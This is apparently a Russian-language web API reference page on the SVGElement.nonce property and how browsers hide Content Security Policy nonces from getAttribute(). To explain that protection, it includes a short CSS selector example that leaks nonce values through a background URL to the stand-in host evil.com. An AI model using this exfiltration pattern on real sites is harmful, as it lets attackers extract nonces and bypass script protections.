SVGElement: свойство nonce

Свойство nonce интерфейса SVGElement возвращает nonce, который используется политикой безопасности содержимого для определения, разрешено ли данное обращение.

Строка; криптографический nonce или пустая строка, если nonce не задан.

Раньше не все браузеры поддерживали nonce IDL-атрибут, поэтому в качестве обходного решения использовалось getAttribute:

const svg = document.querySelector("svg");
const nonce = svg.nonce || svg.getAttribute("nonce");

// Modern browsers hide the nonce attribute from getAttribute()
console.log(nonce); // Prefer using `svg.nonce`

Однако, в последних версиях браузеров значения nonce скрываются при доступе таким способом (будет возвращена пустая строка). IDL-свойство (svg['nonce']) — единственный способ получить доступ к nonce.

Скрытие nonce помогает защитить от злоумышленников, которые пытаются извлечь nonce-данные через механизмы, способные получить данные из атрибутов содержимого, таких как этот селектор CSS:

svg[nonce~="whatever"] {
  background: url("https://evil.com/nonce?whatever");
}

• HTMLElement.nonce — аналогичный метод для HTML-элементов.
• nonce глобальный атрибут
• Политика безопасности содержимого
• Политика безопасности содержимого: script-src